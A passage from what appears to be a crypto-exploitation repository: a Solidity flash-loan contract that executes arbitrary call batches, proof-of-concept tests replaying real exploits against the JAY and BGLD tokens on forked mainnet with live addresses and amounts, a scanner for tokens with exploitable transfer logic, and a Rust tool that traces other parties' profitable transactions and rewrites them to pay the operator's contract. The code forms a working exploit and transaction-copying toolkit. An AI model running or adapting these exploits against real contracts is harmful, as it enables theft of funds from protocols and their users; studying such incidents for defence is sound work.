(msg.sender != flashLender) revert FlashLenderCall(); 96 | 97 | uint256 _allowance = IERC20(token).allowance(address(this), msg.sender); 98 | IERC20(token).approve(msg.sender, _allowance + amount + fee); 99 | 100 | _arbitrage(data); 101 | 102 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 103 | } 104 | 105 | function withdraw() external onlyOwner { 106 | payable(msg.sender).transfer(address(this).balance); 107 | } 108 | 109 | function recoverERC20(address token) external onlyOwner { 110 | IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); 111 | } 112 | 113 | receive() external payable {} 114 | 115 | function _arbitrage(bytes calldata data) internal { 116 | uint256 balance_before = address(this).balance; 117 | _exec(data); 118 | uint256 balance_after = address(this).balance; 119 | // onFlashLoan only checks the ETH balance, not ERC20. 120 | // Recommend switch to ETH after each arbitrage. 121 | if (balance_after <= balance_before) revert SufficientIncome(); 122 | } 123 | 124 | function _exec(bytes calldata data) internal { 125 | if (data.length > 0) { 126 | // parse data 127 | (bytes32 _parentHash, uint256 _coinbaseFee, bytes[] memory _multicallData) = 128 | abi.decode(data, (bytes32, uint256, bytes[])); 129 | if ((_parentHash != bytes32("")) && (blockhash(block.number - 1) != _parentHash)) revert UncleBlock(); 130 | 131 | // multicall 132 | for (uint256 i = 0; i < _multicallData.length; i++) { 133 | (address _to, uint256 _value, bytes memory _data) = 134 | abi.decode(_multicallData[i], (address, uint256, bytes)); 135 | _to.call{value: _value}(_data); 136 | } 137 | 138 | block.coinbase.transfer(_coinbaseFee); 139 | } 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /test/poc/20221229_JAY.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "contract/Arbitrage.sol"; 6 | 7 | interface IPair { 8 | function token0() external view returns (address); 9 | function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; 10 | } 11 | 12 | contract JAYPocTest is Test { 13 | Arbitrage public arbitrage; 14 | IPair public lender; 15 | address public jay; 16 | address public weth; 17 | 18 | function setUp() public { 19 | // 0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6 20 | vm.createSelectFork("https://rpc.ankr.com/eth", 16288199); 21 | arbitrage = new Arbitrage(); 22 | jay = 0xf2919D1D80Aff2940274014bef534f7791906FF2; 23 | // WETH-USDT 24 | lender = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); 25 | weth = lender.token0(); 26 | } 27 | 28 | function testPocJAY() public { 29 | uint256 balance_before = address(this).balance; 30 | uint256 lend_amount = 72.5 ether; 31 | uint256 first_buy_amount = address(jay).balance / 1 ether * 1 ether + 1 ether; 32 | uint256 second_buy_amount = lend_amount - first_buy_amount; 33 | 34 | bytes[] memory payloads = new bytes[](6); 35 | // withdraw weth 36 | payloads[0] = abi.encode(weth, 0, abi.encodeWithSignature("withdraw(uint256)", lend_amount)); 37 | // buy jay first 38 | /* 39 | * JAY exchange equality judgment. 40 | * 1. set: A-> buy eth amount, B -> totalSupply, C -> jay eth balance 41 | * 2. buy: ETHtoJAY -> A * B / C 42 | * 3. sell: JAYtoETH -> (A * B / C) * ((C + A) / B + A * B / C) 43 | * 4. buy == sell: Ideally the amount of eth remain unchanged after a round of swap 44 | * 45 | * Due to `transaction fees` inside the contract, jay price is changing dynamically with little impact. 46 | * 1. buy: buyer get 97% jay, dev get 3% buy eth amount 47 | * 2. sell: buyer get 90% eth amount, dev get 3% eth amount 48 | */ 49 | payloads[1] = abi.encode( 50 | jay, 51 | first_buy_amount, 52 | abi.encodeWithSignature( 53 | "buyJay(address[],uint256[],address[],uint256[],uint256[])", 54 | new address[](0), 55 | new uint256[](0), 56 | new address[](0), 57 | new uint256[](0), 58 | new uint256[](0) 59 | ) 60 | ); 61 | // buy jay second && sell jay first 62 | /* 63 | * bug 1: jay contract `buyJay` function executes any NFT transfer function, we can simulate a fake NFT contract and start up a reentry attack. 64 | * bug 2: The place where the reentry attack happens is during the buying process, and the `sell` function calculate the jay price by eth current balance. 65 | * So we can execute `buyJay` first, and then reentry `sell` function, which will use `buyJay` eth value and `totalSupply` has not changed(`buyJay` has not been completed yet). 66 | */ 67 | address[] memory erc721_address_list = new address[](1); 68 | erc721_address_list[0] = address(this); 69 | uint256[] memory erc721_id_list = new uint256[](1); 70 | erc721_id_list[0] = 0; 71 | payloads[2] = abi.encode( 72 | jay, 73 | second_buy_amount, 74 | abi.encodeWithSignature( 75 | "buyJay(address[],uint256[],address[],uint256[],uint256[])", 76 | erc721_address_list, 77 | erc721_id_list, 78 | new address[](0), 79 | new uint256[](0), 80 | new uint256[](0) 81 | ) 82 | ); 83 | // sell jay second 84 | /* Currently `Arbitrage` does not support obtaining intermediate states as parameters. 85 | * So we must manually write code to simulate and calculate an approximate value. 86 | * Or debug this test to obtain an accurate value. 87 | */ 88 | uint256 second_sell_amount = 4313025058290613910965927; 89 | payloads[3] = abi.encode(jay, 0, abi.encodeWithSignature("sell(uint256)", second_sell_amount)); 90 | // repay loan 91 | uint256 repay_amount = lend_amount + lend_amount * 3 / (1000 - 3) + 1 wei; 92 | payloads[4] = abi.encode(weth, repay_amount, abi.encodeWithSignature("deposit()")); 93 | payloads[5] = 94 | abi.encode(weth, 0, abi.encodeWithSignature("transfer(address,uint256)", address(lender), repay_amount)); 95 | 96 | // exploit 97 | lender.swap(lend_amount, 0, address(this), abi.encode(blockhash(block.number - 1), 0, payloads)); 98 | arbitrage.withdraw(); 99 | console.log("Income:", address(this).balance - balance_before); 100 | } 101 | 102 | function transferFrom(address, address, uint256) public { 103 | bytes[] memory payloads = new bytes[](1); 104 | // withdraw weth 105 | payloads[0] = 106 | abi.encode(jay, 0, abi.encodeWithSignature("sell(uint256)", IERC20(jay).balanceOf(address(arbitrage)))); 107 | arbitrage.run_no_check(abi.encode(blockhash(block.number - 1), 0, payloads)); 108 | } 109 | 110 | function uniswapV2Call(address initiator, uint256 amount0, uint256, /* amount1 */ bytes calldata data) external { 111 | require(initiator == address(this), "Invalid initiator"); 112 | require(msg.sender == address(lender), "Invalid lender"); 113 | 114 | IERC20(weth).transfer(address(arbitrage), amount0); 115 | arbitrage.run(data); 116 | } 117 | 118 | receive() external payable {} 119 | } 120 | -------------------------------------------------------------------------------- /test/poc/20221212_BGLD.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "contract/Arbitrage.sol"; 6 | 7 | interface IRouter { 8 | function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) 9 | external 10 | pure 11 | returns (uint256 amountOut); 12 | function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) 13 | external 14 | pure 15 | returns (uint256 amountIn); 16 | function swapExactTokensForTokensSupportingFeeOnTransferTokens( 17 | uint256 amountIn, 18 | uint256 amountOutMin, 19 | address[] calldata path, 20 | address to, 21 | uint256 deadline 22 | ) external; 23 | } 24 | 25 | interface IPair { 26 | function token0() external view returns (address); 27 | function token1() external view returns (address); 28 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 29 | function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; 30 | function skim(address to) external; 31 | function sync() external; 32 | } 33 | 34 | contract BGLDPocTest is Test { 35 | struct Fee { 36 | uint16 burn; 37 | uint16 mine; 38 | uint16 liquidity; 39 | uint16 total; 40 | } 41 | 42 | Arbitrage public arbitrage; 43 | IPair public lender; 44 | IPair public lp; 45 | IRouter public router; 46 | Fee public fee; 47 | 48 | function setUp() public { 49 | // 0xea108fe94bfc9a71bb3e4dee4a1b0fd47572e6ad6aba8b2155ac44861be628ae 50 | vm.createSelectFork("https://rpc.ankr.com/bsc", 23844529); 51 | arbitrage = new Arbitrage(); 52 | // BUSD-WBNB 53 | lender = IPair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); 54 | // WBNB-BGLD 55 | lp = IPair(0x7526cC9121Ba716CeC288AF155D110587e55Df8b); 56 | router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); 57 | // BGLD transfer fee, unit percent 58 | fee = Fee(2, 4, 4, 10); 59 | } 60 | 61 | function pancakeCall(address initiator, uint256, /* amount0 */ uint256 amount1, bytes calldata data) external { 62 | require(initiator == address(this), "Invalid initiator"); 63 | require(msg.sender == address(lender), "Invalid lender"); 64 | 65 | address wbnb = lp.token0(); 66 | IERC20(wbnb).transfer(address(arbitrage), amount1); 67 | arbitrage.run(data); 68 | } 69 | 70 | function testPocBGLD() public { 71 | uint256 lend_amount = 125 ether; 72 | (uint256 reverse0, uint256 reverse1,) = lp.getReserves(); 73 | address wbnb = lp.token0(); 74 | address bgld = lp.token1(); 75 | bytes[] memory payloads = new bytes[](9); 76 | // transfer WBNB 77 | payloads[0] = 78 | abi.encode(wbnb, 0, abi.encodeWithSignature("transfer(address,uint256)", address(lp), lend_amount)); 79 | // swap for BGLD 80 | uint256 bgld_amount = router.getAmountOut(lend_amount, reverse0, reverse1); 81 | payloads[1] = abi.encode( 82 | address(lp), 83 | 0, 84 | abi.encodeWithSignature( 85 | "swap(uint256,uint256,address,bytes)", 0, bgld_amount * 100 / (100 + fee.total), address(arbitrage), "" 86 | ) 87 | ); 88 | // drain BGLD to 1 89 | bgld_amount = reverse1 - bgld_amount; 90 | payloads[2] = abi.encode( 91 | bgld, 0, abi.encodeWithSignature("transfer(address,uint256)", address(lp), (bgld_amount - 1) * 10) 92 | ); 93 | payloads[3] = abi.encode(address(lp), 0, abi.encodeWithSignature("skim(address)", address(arbitrage))); 94 | // sync 95 | payloads[4] = abi.encode(address(lp), 0, abi.encodeWithSignature("sync()")); 96 | // swap for WBNB 97 | payloads[5] = abi.encode(bgld, 0, abi.encodeWithSignature("approve(address,uint256)", address(router), -1)); 98 | address[] memory path = new address[](2); 99 | path[0] = bgld; 100 | path[1] = wbnb; 101 | // manually calculate amount, not use `swap` to save tokens 102 | uint256 wbnb_amount = reverse0 + lend_amount; 103 | uint256 swap_out = wbnb_amount / 1 ether * 1 ether; 104 | // bgld amount is about single digits, can give a little more 105 | uint256 swap_in = router.getAmountIn(swap_out, 20, wbnb_amount); 106 | payloads[6] = abi.encode( 107 | address(router), 108 | 0, 109 | abi.encodeWithSignature( 110 | "swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)", 111 | swap_in * (100 + fee.total) / 100, 112 | swap_out - 0.1 ether, 113 | path, 114 | address(arbitrage), 115 | block.timestamp 116 | ) 117 | ); 118 | // repay loan 119 | uint256 repay_amount = lend_amount + lend_amount * 25 / (10000 - 25) + 1 wei; 120 | payloads[7] = 121 | abi.encode(wbnb, 0, abi.encodeWithSignature("transfer(address,uint256)", address(lender), repay_amount)); 122 | // withdraw bnb 123 | uint256 income_min = swap_out - 0.1 ether - repay_amount; 124 | payloads[8] = abi.encode(wbnb, 0, abi.encodeWithSignature("withdraw(uint256)", income_min)); 125 | 126 | // flash loan 127 | lender.swap(0, lend_amount, address(this), abi.encode(blockhash(block.number - 1), 0, payloads)); 128 | arbitrage.withdraw(); 129 | console.log("Income:", income_min); 130 | } 131 | 132 | receive() external payable {} 133 | } 134 | -------------------------------------------------------------------------------- /test/Arbitrage.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "contract/Arbitrage.sol"; 6 | 7 | contract ArbitrageTest is Test { 8 | Arbitrage public arbitrage; 9 | FakeERC20 public fakeERC20; 10 | FlashLender public flashLender; 11 | 12 | modifier TestCannotOperateByNotOwner() { 13 | vm.expectRevert(Unauthorized.selector); 14 | vm.prank(address(0)); 15 | 16 | _; 17 | } 18 | 19 | function setUp() public { 20 | arbitrage = new Arbitrage(); 21 | fakeERC20 = new FakeERC20("FakeERC20", "Fake", 18); 22 | flashLender = new FlashLender(); 23 | 24 | vm.deal(address(flashLender), 1000 ether); 25 | vm.prank(address(flashLender)); 26 | address(fakeERC20).call{value: 1000 ether}(abi.encodeWithSignature("deposit()", "")); 27 | arbitrage.setFlashLender(address(flashLender)); 28 | } 29 | 30 | function testCannotArbitrageByNotOwner() public TestCannotOperateByNotOwner { 31 | arbitrage.run(abi.encode(bytes32(""), 0, bytes(""))); 32 | } 33 | 34 | function testCannotArbitrageByUncleBlock() public { 35 | vm.expectRevert(UncleBlock.selector); 36 | vm.roll(3); 37 | arbitrage.run(abi.encode(blockhash(block.number - 2), 0, bytes(""))); 38 | } 39 | 40 | function testCannotArbitrageBySufficientIncome() public { 41 | vm.expectRevert(SufficientIncome.selector); 42 | arbitrage.run(abi.encode(bytes32(""), 0, bytes(""))); 43 | } 44 | 45 | function testCannotRunNoCheckByNotOwner() public TestCannotOperateByNotOwner { 46 | arbitrage.run_no_check(bytes("")); 47 | } 48 | 49 | function testRunNoCheckByOwner() public { 50 | arbitrage.run_no_check(bytes("")); 51 | } 52 | 53 | function testFlashArbitrageByOwner() public { 54 | uint256 _lenderAmount = 1000 ether; 55 | 56 | bytes[] memory payloads = new bytes[](3); 57 | payloads[0] = abi.encode( 58 | address(fakeERC20), 59 | 0, 60 | abi.encodeWithSignature( 61 | "transferFrom(address,address,uint256)", address(flashLender), address(arbitrage), _lenderAmount 62 | ) 63 | ); 64 | payloads[1] = abi.encode(address(fakeERC20), 0, abi.encodeWithSignature("exploit()", "")); 65 | payloads[2] = abi.encode(address(fakeERC20), 0, abi.encodeWithSignature("withdraw(uint256)", 1 ether)); 66 | 67 | assertEq(address(arbitrage).balance, 0 ether); 68 | assertEq(fakeERC20.balanceOf(address(arbitrage)), 0 ether); 69 | flashLender.flashLoan( 70 | arbitrage, address(fakeERC20), _lenderAmount, abi.encode(blockhash(block.number - 1), 0, payloads) 71 | ); 72 | assertEq(address(arbitrage).balance, 1 ether); 73 | assertEq(fakeERC20.balanceOf(address(arbitrage)), 0 ether); 74 | } 75 | 76 | function testSetFlashLenderByOwner() public { 77 | arbitrage.setFlashLender(address(0)); 78 | } 79 | 80 | function testCannotSetFlashLenderByNotOwner() public TestCannotOperateByNotOwner { 81 | arbitrage.setFlashLender(address(0)); 82 | } 83 | 84 | function testWithdrawByOwner() public { 85 | vm.deal(address(this), 0 ether); 86 | vm.deal(address(arbitrage), 1 ether); 87 | 88 | arbitrage.withdraw(); 89 | assertEq(address(this).balance, 1 ether); 90 | } 91 | 92 | function testCannotWithdrawByNotOwner() public TestCannotOperateByNotOwner { 93 | arbitrage.withdraw(); 94 | } 95 | 96 | function testRecoverERC20ByOwner() public { 97 | uint256 _balance = fakeERC20.balanceOf(address(this)); 98 | fakeERC20.transfer(address(arbitrage), fakeERC20.balanceOf(address(this))); 99 | assertEq(fakeERC20.balanceOf(address(this)), 0); 100 | arbitrage.recoverERC20(address(fakeERC20)); 101 | assertEq(fakeERC20.balanceOf(address(this)), _balance); 102 | } 103 | 104 | function testCannotRecoverERC20ByNotOwner() public TestCannotOperateByNotOwner { 105 | arbitrage.recoverERC20(address(0)); 106 | } 107 | 108 | receive() external payable {} 109 | } 110 | 111 | contract FakeERC20 is ERC20, Owned { 112 | constructor(string memory _name, string memory _symbol, uint8 _decimals) 113 | ERC20(_name, _symbol, _decimals) 114 | Owned(msg.sender) 115 | {} 116 | 117 | function exploit() external { 118 | if (balanceOf[msg.sender] >= 1000 ether) { 119 | _mint(msg.sender, 2 ether); 120 | } 121 | } 122 | 123 | function deposit() external payable { 124 | _mint(msg.sender, msg.value); 125 | } 126 | 127 | function withdraw(uint256 amount) external { 128 | _burn(msg.sender, amount); 129 | payable(msg.sender).transfer(amount); 130 | } 131 | } 132 | 133 | contract FlashLender is IERC3156FlashLender { 134 | function maxFlashLoan(address token) public view returns (uint256) { 135 | return IERC20(token).balanceOf(address(this)); 136 | } 137 | 138 | function flashFee(address, /* token */ uint256 amount) public pure returns (uint256) { 139 | return amount / 1000; 140 | } 141 | 142 | function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) 143 | external 144 | returns (bool) 145 | { 146 | require(amount <= maxFlashLoan(token), "FlashLender: Insufficient funds"); 147 | uint256 fee = flashFee(token, amount); 148 | IERC20(token).approve(address(receiver), amount); 149 | require( 150 | receiver.onFlashLoan(msg.sender, token, amount, fee, data) == keccak256("ERC3156FlashBorrower.onFlashLoan"), 151 | "FlashMinter: Do not support IERC3156FlashBorrower" 152 | ); 153 | uint256 _allowance = IERC20(token).allowance(address(receiver), address(this)); 154 | require(_allowance >= (amount + fee), "FlashMinter: Repay not approved"); 155 | IERC20(token).transferFrom(address(receiver), address(this), amount + fee); 156 | return true; 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /test/poc/NotFlationToken.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "contract/Arbitrage.sol"; 6 | 7 | interface IUniswapV2Pair { 8 | function token0() external view returns (address); 9 | function token1() external view returns (address); 10 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 11 | } 12 | 13 | contract NotFlationTokenTest is Test { 14 | struct Token { 15 | address addr; 16 | address lp; 17 | } 18 | 19 | struct BalanceInfo { 20 | uint256 from; 21 | uint256 to; 22 | uint256 lp; 23 | uint256 base_reverse; 24 | uint256 pair_reverse; 25 | } 26 | 27 | mapping(address => bool) public notFlationTokenMap; 28 | 29 | function testETHNotFlationToken1() public { 30 | vm.createSelectFork("https://rpc.ankr.com/eth", 16428369); 31 | // 0xa806617cdd8ed760ed25cec61abf642f4889749c3cede45c46f27d60f0941bd1 32 | address QTN = 0xC9fa8F4CFd11559b50c5C7F6672B9eEa2757e1bd; 33 | // 0xd099a41830b964e93415e9a8607cd92567e40d3eeb491d52f3b66eee6b0357eb 34 | address UPStkn = 0xFFeE5EcDE135a7b10A0Ac0E6e617798e6aD3D0D6; 35 | address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 36 | Token[3] memory TOKEN_LIST = [ 37 | Token(QTN, 0xA8208dA95869060cfD40a23eb11F2158639c829B), 38 | Token(UPStkn, 0xa3f47DCFC09d9aaDb7Ac6ECAB257cf7283BFEe26), 39 | Token(WETH, 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc) 40 | ]; 41 | 42 | for (uint256 i = 0; i < TOKEN_LIST.length; i++) { 43 | // ignore error 44 | address(this).call(abi.encodeWithSignature("check((address,address))", TOKEN_LIST[i])); 45 | } 46 | 47 | // Unable to detect irregular contracts 48 | assert(notFlationTokenMap[QTN] == false); 49 | 50 | // transfer self increment 51 | assert(notFlationTokenMap[UPStkn] == true); 52 | 53 | // weth is safety 54 | assert(notFlationTokenMap[WETH] == false); 55 | } 56 | 57 | function testETHNotFlationToken2() public { 58 | vm.createSelectFork("https://rpc.ankr.com/eth"); 59 | address HIMEI = 0x81b6E6EE0Bd303A1f1Ef7D63f9A071F7eF2abe09; 60 | 61 | Token[1] memory TOKEN_LIST = [Token(HIMEI, 0x4a449fFD26332170b19450FB573864407385B2d4)]; 62 | 63 | for (uint256 i = 0; i < TOKEN_LIST.length; i++) { 64 | // ignore error 65 | address(this).call(abi.encodeWithSignature("check((address,address))", TOKEN_LIST[i])); 66 | } 67 | 68 | // slight lp reverse change are also detected, even is safety 69 | assert(notFlationTokenMap[HIMEI] == true); 70 | } 71 | 72 | function testBSCNotFlationToken() public { 73 | vm.createSelectFork("https://rpc.ankr.com/bsc", 24912666); 74 | // 0x5058c820fa0bb0daff2bd1b30151cf84c618dffe123546223b7089c8c2e18331 75 | address THOREUM = 0x79Fe086a4C03C5E38FF8074DEA9Ee0a18dC1AF4F; 76 | address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; 77 | Token[2] memory TOKEN_LIST = [ 78 | Token(THOREUM, 0xd822E1737b1180F72368B2a9EB2de22805B67E34), 79 | Token(WBNB, 0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1) 80 | ]; 81 | 82 | for (uint16 i = 0; i < TOKEN_LIST.length; i++) { 83 | // ignore error 84 | address(this).call(abi.encodeWithSignature("check((address,address))", TOKEN_LIST[i])); 85 | } 86 | 87 | // not a simple transfer self increment, the specific arbitrage logic is not clear 88 | assert(notFlationTokenMap[THOREUM] == false); 89 | 90 | // wbnb is safety 91 | assert(notFlationTokenMap[WBNB] == false); 92 | } 93 | 94 | function check(Token calldata _token) external { 95 | address token = _token.addr; 96 | address lp = _token.lp; 97 | // get decimal 98 | uint8 decimal = IERC20(token).decimals(); 99 | // set balance 100 | uint256 balance_this = 1 * (10 ** decimal); 101 | deal(token, address(this), balance_this); 102 | assert(IERC20(token).balanceOf(address(this)) == balance_this); 103 | 104 | // transfer from this to lp pool 105 | uint256 amount = balance_this / 2; 106 | _transfer(_token, address(this), address(lp), amount); 107 | // transfer from lp pool to this 108 | _transfer(_token, address(lp), address(this), amount); 109 | // UPStkn exploit, transfer self with zero amount 110 | _transfer(_token, address(this), address(this), 0); 111 | // THOREUM exploit, transfer self with non-zero amount 112 | _transfer(_token, address(this), address(this), amount); 113 | } 114 | 115 | function _transfer(Token calldata _token, address from, address to, uint256 amount) internal { 116 | BalanceInfo memory balance_before = _getBalanceInfo(_token, from, to); 117 | 118 | vm.prank(from); 119 | IERC20(_token.addr).transfer(to, amount); 120 | 121 | BalanceInfo memory balance_after = _getBalanceInfo(_token, from, to); 122 | 123 | if ( 124 | (from != to && balance_after.from != balance_before.from - amount) 125 | || (from == to && balance_after.from > balance_before.from) 126 | || (to != _token.lp && balance_after.to > (from != to ? balance_before.to + amount : balance_before.to)) 127 | || ( 128 | balance_after.base_reverse * balance_before.pair_reverse 129 | != balance_after.pair_reverse * balance_before.base_reverse 130 | ) 131 | ) { 132 | notFlationTokenMap[_token.addr] = true; 133 | } 134 | } 135 | 136 | function _getBalanceInfo(Token memory _token, address from, address to) 137 | internal 138 | view 139 | returns (BalanceInfo memory balanceInfo) 140 | { 141 | address token = _token.addr; 142 | address lp = _token.lp; 143 | bool swap = token == IUniswapV2Pair(lp).token1(); 144 | (uint256 reverse0, uint256 reverse1,) = IUniswapV2Pair(lp).getReserves(); 145 | 146 | balanceInfo = BalanceInfo( 147 | IERC20(token).balanceOf(from), 148 | IERC20(token).balanceOf(to), 149 | IERC20(token).balanceOf(lp), 150 | swap ? reverse1 : reverse0, 151 | swap ? reverse0 : reverse1 152 | ); 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /src/utils/simulate.rs: -------------------------------------------------------------------------------- 1 | mod state; 2 | mod strategy; 3 | 4 | use ethers::prelude::*; 5 | use futures::future::join_all; 6 | use state::{base::AnalyzeState, eth::AnalyzeEth, token::AnalyzeToken}; 7 | use std::collections::HashMap; 8 | use std::error::Error; 9 | use std::iter::Sum; 10 | use std::ops::Deref; 11 | 12 | struct SumU256(U256); 13 | impl Sum for SumU256 { 14 | fn sum>(iter: I) -> Self { 15 | iter.fold(Self(U256::zero()), |a, b| Self(a.0 + b.0)) 16 | } 17 | } 18 | 19 | pub type SimulateTrace = BlockTrace; 20 | 21 | pub struct Simulate<'a, M, S> { 22 | inner: &'a SignerMiddleware, 23 | contract: Option
, 24 | state_analysis: Vec>>, 25 | } 26 | 27 | impl<'a, M, S> Deref for Simulate<'a, M, S> { 28 | type Target = &'a SignerMiddleware; 29 | 30 | fn deref(&self) -> &Self::Target { 31 | &self.inner 32 | } 33 | } 34 | 35 | impl<'a, M: Middleware + 'a, S: Signer + 'a> Simulate<'a, M, S> { 36 | // can use contract as a middleware to check balance, if not increase then revert 37 | pub async fn init( 38 | client: &'a SignerMiddleware, 39 | contract: Option
, 40 | ) -> Result, Box> { 41 | Ok(Self { 42 | inner: client, 43 | contract, 44 | state_analysis: vec![ 45 | Box::new(AnalyzeEth::init(client).await?), 46 | Box::new(AnalyzeToken::init(client).await?), 47 | ], 48 | }) 49 | } 50 | 51 | pub async fn run( 52 | &self, 53 | tx_hash: TxHash, 54 | rewind: bool, 55 | ) -> Result>, U256)>, Box> { 56 | if let Some(tx) = self.get_transaction(tx_hash).await? { 57 | let block: Option = match tx.block_number { 58 | Some(block_number) if rewind => Some((block_number - 1).into()), 59 | Some(block_number) if !rewind => Some(block_number.into()), 60 | _ => None, 61 | }; 62 | if let Some((trace, profit)) = self.is_valuable(tx, block).await? { 63 | let tx_queue = self.to_tx_queue(&trace); 64 | if tx_queue.len() > 0 { 65 | return Ok(Some((tx_queue, profit))); 66 | } 67 | }; 68 | } 69 | 70 | Ok(None) 71 | } 72 | 73 | // Analyze whether tx is valuable according to different strategies 74 | // Support customize and optimize pruning for different scene. 75 | async fn is_valuable( 76 | &self, 77 | tx: Transaction, 78 | block: Option, 79 | ) -> Result, Box> { 80 | // e.g., prune for native token transfer. 81 | if strategy::transfer::run(&tx) { 82 | // e.g., for flashloan, loan first to ensure sufficient tokens. 83 | if strategy::flashloan::run(&tx) { 84 | let trace = self.to_trace(&tx, block).await?; 85 | 86 | let analysis = self.state_analysis.iter().map(|a| async { 87 | a.run(&tx, &trace) 88 | .await 89 | .ok() 90 | .unwrap_or_default() 91 | .unwrap_or_default() 92 | }); 93 | let profit = join_all(analysis) 94 | .await 95 | .into_iter() 96 | .map(|p| SumU256(p)) 97 | .sum::() 98 | .0; 99 | 100 | if !profit.is_zero() { 101 | return Ok(Some((trace, profit))); 102 | } 103 | } 104 | } 105 | 106 | Ok(None) 107 | } 108 | 109 | async fn to_trace( 110 | &self, 111 | tx: &Transaction, 112 | block: Option, 113 | ) -> Result> { 114 | // only parity node support `trace_call`, recommend `ankr` rpc. (Sometimes it fails, need to retry) 115 | let trace = self 116 | .trace_call(tx, vec![TraceType::Trace, TraceType::StateDiff], block) 117 | .await?; 118 | 119 | // only geth node support `debug_traceCall` 120 | // let mut opts = GethDebugTracingOptions::default(); 121 | // opts.tracer = Some("callTracer".into()); 122 | // let trace = self 123 | // .debug_trace_call(&tx, block.map(|n| BlockId::Number(n)), opts) 124 | // .await?; 125 | 126 | Ok(trace) 127 | } 128 | 129 | fn to_tx_queue(&self, trace: &SimulateTrace) -> Vec> { 130 | let mut tx_queue = Vec::new(); 131 | if let Some(trace_list) = &trace.trace { 132 | let mut trace_map = HashMap::new(); 133 | for trace in trace_list { 134 | let mut trace_key = 0; 135 | for (i, v) in trace.trace_address.iter().rev().enumerate() { 136 | trace_key += v * 2_usize.pow(i.try_into().unwrap()) + 1; 137 | } 138 | trace_map.insert(trace_key, trace); 139 | } 140 | 141 | // origin call 142 | let origin_call = trace_map.get(&0).unwrap(); 143 | if let Some(tx) = self.to_tx(origin_call) { 144 | tx_queue.push(vec![tx]); 145 | } 146 | // internal call 147 | let mut internal_tx_list = Vec::new(); 148 | for i in 1..=origin_call.subtraces { 149 | if let Some(tx) = self.to_tx(trace_map.get(&i).unwrap()) { 150 | internal_tx_list.push(tx); 151 | } else { 152 | // Part of the trace simulation failed, can still going? 153 | // break; 154 | } 155 | } 156 | if internal_tx_list.len() > 0 { 157 | tx_queue.push(internal_tx_list); 158 | } 159 | } 160 | 161 | tx_queue 162 | } 163 | 164 | fn to_tx(&self, trace: &TransactionTrace) -> Option { 165 | match &trace.action { 166 | Action::Call(data) => { 167 | return Some(TransactionRequest { 168 | chain_id: None, 169 | from: Some(self.signer().address()), 170 | to: Some(NameOrAddress::Address(data.to)), 171 | data: Some(mock_tx_data( 172 | &data.input, 173 | data.from, 174 | self.contract.unwrap_or(self.signer().address()), 175 | )), 176 | value: Some(data.value), 177 | // Why is the gas obtained from the debug less than the original tx's gas limit? 178 | gas: None, 179 | // Due to EIP-1559, the minimum base fee must be sent, so please ensure that the wallet has enough gas fee. 180 | // Only base fee here, change later or send priority fee to coinbase in contract to ensure that tx is packaged for priority. 181 | gas_price: None, 182 | nonce: None, 183 | }); 184 | } 185 | Action::Create(data) => Some(TransactionRequest { 186 | chain_id: None, 187 | from: Some(self.signer().address()), 188 | to: None, 189 | data: Some(mock_tx_data( 190 | &data.init, 191 | data.from, 192 | self.contract.unwrap_or(self.signer().address()), 193 | )), 194 | value: Some(data.value), 195 | gas: None, 196 | gas_price: None, 197 | nonce: None, 198 | }), 199 | _ => None, 200 | } 201 | } 202 | } 203 | 204 | fn mock_tx_data(data: &Bytes, from: Address, to: Address) -> Bytes { 205 | format!("{data:x}") 206 | .replace(&format!("{from:x}"), &format!("{to:x}")) 207 | .parse::() 208 | .unwrap() 209 | } 210 | 211 | #[cfg(test)] 212 | mod tests { 213 | use super::mock_tx_data; 214 | use ethers::prelude::*; 215 | 216 | #[tokio::test] 217 | async fn mock_tx_data_return_origin_data() { 218 | let data = "0x00000001".parse::().unwrap(); 219 | let parse_data = mock_tx_data(&data, Address::random(), Address::random()); 220 | assert_eq!(data, parse_data); 221 | } 222 | 223 | #[tokio::test] 224 | async fn mock_tx_data_replace_with_contract_address() { 225 | let from = Address::random(); 226 | let contract = Address::random(); 227 | let origin_data = format!("0x00000001{}", &format!("{from:x}")) 228 | .parse::() 229 | .unwrap(); 230 | let parse_data = mock_tx_data(&origin_data, from, contract); 231 | assert!(origin_data != parse_data); 232 | assert_eq!( 233 | format!("{parse_data:x}"), 234 | format!("0x00000001{}", &format!("{contract:x}")) 235 | ); 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "Inflector" 7 